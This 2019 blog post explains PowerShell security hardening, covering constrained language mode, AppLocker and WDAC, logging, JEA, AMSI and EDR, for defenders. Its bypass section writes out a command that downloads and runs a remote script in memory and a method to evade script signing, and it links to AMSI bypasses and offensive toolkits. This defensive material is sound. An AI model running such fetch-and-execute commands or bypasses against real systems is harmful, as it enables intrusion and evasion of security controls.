Updated as of October 8, 2019

Threat actors have long since used legitimate tools to infiltrate and laterally move across defender’s networks. The reasons for this are clear; the likelihood of being detected is much lower when authorized tools are leveraged instead of malicious tools that might trigger prevention or detection controls. PowerShell attributes have also made it attractive to adversaries, such as being used in the Petya/NotPetya campaign.

In this blog, we will cover some PowerShell best practices that will prepare you for adversaries who will use your own PowerShell implementation against you.


What is PowerShell?

PowerShell is an automation platform and scripting language for Microsoft Windows and Windows Server, which allows you to simplify your system management. Unlike other text-based shells, PowerShell harnesses the power of Microsoft’s .NET Framework, providing rich objects and a massive set of built-in functions to take control of your Windows environments.

Windows PowerShell


Why PowerShell?

PowerShell has been used heavily for cyber attacks, especially during the Petya/NotPetya campaigns. The most important aspect for attackers is its native integration with the .NET Framework, which offers multiple options for infecting or manipulating the target.

PowerShell’s most attractive attributes to adversaries are:

  • Simple access to network sockets
  • Ability to assemble malicious binaries dynamically in memory
  • Direct access to the Win32 Application Programming Interface (API)
  • Simple interface with Windows Management Instrumentation (WMI)
  • Powerful scripting environment
  • Dynamic, runtime method calls
  • Easy access to crypto libraries, e.g. IPSec, hashing algorithms
  • Ability to hook managed code
  • Simple bindings to Component Object Model (COM) (https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363%28v=vs.85%29.aspx)

All the above render PowerShell an extremely effective attack vector.

PowerShell was initially mentioned as an attack platform in 2010 (https://www.youtube.com/watch?v=JKlVONfD53w), when it was presented at Def Con 18 as proof of concept. Both a bind and reverse shell programmed purely in PowerShell were demonstrated in the same context.

There are numerous attack tools – like NishangPowerSploit, and PowerShell Empire platform (www.PowerShellempire[.]com)  –  that offer a post-exploitation agent built on cryptological communications. These tools can be used for reconnaissance, persistence, and lateral movement, as well as other offensive techniques. Of course, given its native capabilities, PowerShell can be programmed in multiple ways, providing custom tools and techniques to remain stealthy and undetected by common security controls and countermeasures.

Adversarial Tactics, Techniques & Common Knowledge, or ATT&CK by Mitre, which provides an extensive list of attack vectors, tactics, and techniques, describes PowerShell as a powerful interface that adversaries can use to perform a variety of actions, and provides real-world examples.


PowerShell Security Best Practices

Given that PowerShell cannot be disabled or removed from organizations that require it, the following actions are the recommended best practices to use PowerShell efficiently while preventing its use as an attack vector.

Back in September 2017, I outlined some of the main themes surrounding PowerShell security.  Now, after 2 years of progress, I want to return to this issue.

The use of PowerShell continues to be the most popular adversary technique. A recent report by Red Canary’s 2019 Threat Detection Report noted more than 55 examples of observed attack techniques makes use of PowerShell (you can see the Mitre ATT&CK page here: T1086).

Indeed, despite security improvements delivered by Microsoft, attackers still prefer PowerShell to alternatives for three main reasons:

  1. Powerful scripting environment
  2. Direct access to Win32 API its wide install base
  3. The lack of being well-secured.

What, then, can practitioners do to protect against this pervasive technique? I recently presented some best practices at BSides Athens, and wanted to share this advice with the broader community.

1. PowerShell Constrained Language Mode

Constrained language mode is a way of restricting access to sensitive language elements that can be used to invoke arbitrary Windows APIs. It was designed to work with system-wide application control solutions such as Device Guard User Mode Integrity (UMCI). The HOWTOs and the results remain the same as before. PowerShell Constrained Language should be applied to all users that do not need to use PowerShell for their daily work.

2. PowerShell with Applocker, Device Guard, and Windows Defender Application Control

Applocker is quite popular for adding a protection layer for Before a script file is run, PowerShell invokes AppLocker to verify the script. AppLocker invokes the Application Identity component in user-mode with the file name or file handle to calculate the file properties. The script file is then evaluated against the AppLocker policy to verify that it is allowed to run.

Compared to the past, there is now an additional security component the Windows Defender Application Control (WDAC). (Actually, it’s not new but an evolution of Device Guard as from Windows 10, version 1709). With WDAC we are able not only to control applications, but also to control whether specific plug-ins, add-ins, and modules can run from specific apps.

3. Logging PowerShell Activity

Logging PowerShell activity to detect any suspicious elements remains an important security control. These are the main logging components for PowerShell:

  1. Transcript Logging
    1. enable the Turn on PowerShell Transcription Group Policy setting
    2. HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\Transcription
      Powershell Transcript logging
  2. Scriptblock Logging
    1. Event Tracing for Windows (ETW) Microsoft-Windows-PowerShell\Operational
    2. event ID 4104
    3. enable the Turn on PowerShell Script Block Logging Group Policy setting
    4. HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
    5. Scriptblock logging shows what was run, no information is provided as to if was succeeded or not and no information is provided about which language mode was used
  3. Protected Event Logging
    1. Protected Event Logging lets participating applications encrypt sensitive data as they write it to the event log.
    2. enable the turn on the Enable Protected Event Logging Group Policy setting
  4. Module Logging
    1. Turn on Module Logging Group Policy setting
  5. This is a very good blacklist of PowerShell content that should be added to blocking/monitoring rules https://github.com/secprentice/PowerShellBlacklist/blob/master/badshell.txt

4. Remove PowerShell V.2

Yes, it’s true that still PowerShell v.2 with all its disadvantages from security perspective is being used.

Remove Powershell v.2


5. Just Enough Administration – JEA

  1. JEA provides a control mechanism for administering servers via Windows PowerShell remoting by using constrained endpoints. It is a sandboxed PowerShell remote session that is designed to strictly limit what the logged-on user can do.
  2. This involves assigning the required language mode as well as specifying individual functions and cmdlets, including, if desired, permitted values of their parameters that a delegated administrator will be able to use.
  3. In addition, JEA, by default, blocks executables, unless you explicitly allow them to run.

Powershell just enough administration


6. Other security enhancements

  1. Anti-Malware Scan Interface (AMSI): Although it has been mentioned previously, AMSI is keep progressing in how effectively can be used to address PowerShell security issues. In the context of Windows PowerShell-based security, AMSI helps with addressing common challenges that other Windows PowerShell protection methods might not be able to handle:
    1. code obfuscation
    2. running code directly in memory without loading it from a disk
    3. the ability to use different host applications.
  2. PowerShell Desired State Configuration (DSC): a configuration management platform introduced in Windows Management Framework (WMF) 4.0.
    1. The main purpose of DSC is to automate implementation of custom configurations resulting in a desired state of managed environment
    2. When combined with auditing and logging, this allows you to not only identify any events that indicate attempts to alter security provisions that are part of standard computer configuration, but also ensure that these provisions will be automatically restored
    3. Custom DSC resources available from the PowerShell Gallery (e.g., https://www.powershellgallery.com/packages/HardenedDSC/0.0.3)
  3. Endpoint Detection and Response (EDR): a technology that offers Artificial Intelligence capabilities and advanced detection features. Modern EDR solutions appear to be effective against most PowerShell attacks with out-of-the-box configurations:

powershell endpoint detection and response


PowerShell Security Bypass Techniques

Script code signing is a protection technique which is used in a wider approach, where PowerShell scripts should be included in this security control. However there are multiple ways to execute scripts that are not-signed, which bypasses this restriction. Here are some examples:

  1. Executing the content of the script directly from an interactive Windows PowerShell session.
    1. Using the Invoke-Command cmdlet with the ScriptBlock parameter
    2. Extracting the content of the script by using the Get-Content cmdlet and piping the output directly into powershell.exe with the Command parameter set to –
      Get-Content .\script.ps1 | powershell.exe –NoProfile –Command –
    3. Downloading the script from any web location and executing the downloaded script directly in memory
      powershell –nop –c “iex(New-Object Net.WebClient).DownloadString(‘https://bit.ly/5cr1pT.p5I’)”
    4. 11 different techniques are documented here: https://bestestredteam.com/2019/01/27/powershell-execution-policy-bypass/
  1. Application Whitelisting/Applocker Bypass
    While application whitelisting remains one of the most effective ways to protect PowerShell there are still ways to bypass those restrictions:

    1. Trusted Developer Utilities (T1127 – Defense Evasion)
      1. MSBuild
    2. Installutil.exe (T1118 – Defense Evasion)
    3. Mshta (T1170 – Defense Evasion)
    4. Signed Binary Proxy Execution (T1218 – Defense Evasion)
      1. Msiexec.exe
    5. Regsvcs/Regasm (T1121 – Defense Evasion)
    6. Obfuscation (T1027 – Defense Evasion)
      1. Invoke-Obfuscation (https://github.com/danielbohannon/Invoke-Obfuscation)
    7. AMSI bypass: https://0x00-0x00.github.io/research/2018/10/28/How-to-bypass-AMSI-and-Execute-ANY-malicious-powershell-code.html

The most effective way (according to Microsoft) to block PowerShell is to block the “System.Management.Automation.dll”, which is the library that PowerShell heavily relies on. (https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules)


  1. PowerShell without PowerShell

PowerShell is a frontend for the .NET framework. It makes use of the System.Management.Automation.dll. Any abuse around these elements can successfully evade security techniques focused on the PowerShell surface and not deeper. Below are some examples of tools and frameworks that leverage the PowerShell underground components:

PowerShell “replacement” Attack-tools:

  • Sharpsploit (https://github.com/cobbr/SharpSploit), last updated 9 months ago.
  • Safetykatz (https://github.com/GhostPack/SafetyKatz), last updated 10 months ago
  • PowerOPS (https://github.com/fdiskyou/PowerOPS), last updated 4 months ago
  • PownedShell (https://github.com/Cn33liz/p0wnedShell), last updated 9 months ago
  • PoschC2-Python (https://github.com/nettitude/PoshC2_Python/), last updated 4 days ago
  • PSAttack (https://github.com/jaredhaight/PSAttack), last updated 1 year ago


Conclusion and Key Takeaways For PowerShell

  • PowerShell is not DEAD! EDR can be evaded too!! (PowerShell Is DEAD-Epic Learnings! – Ben Turner, Doug McLeod, Rob Maslen – Bsides London 2019 – https://www.youtube.com/watch?v=wIhlchiRmKQ)
  • Almost no security features are enabled by default, proper configuration is needed.
  • Removing or blocking PowerShell is not an option, block System.Management.Automation.dll
  • Logging and continuous monitoring is very effective.
  • PowerShell 7 is coming, integrating the Core 6.1 and 5.1 features.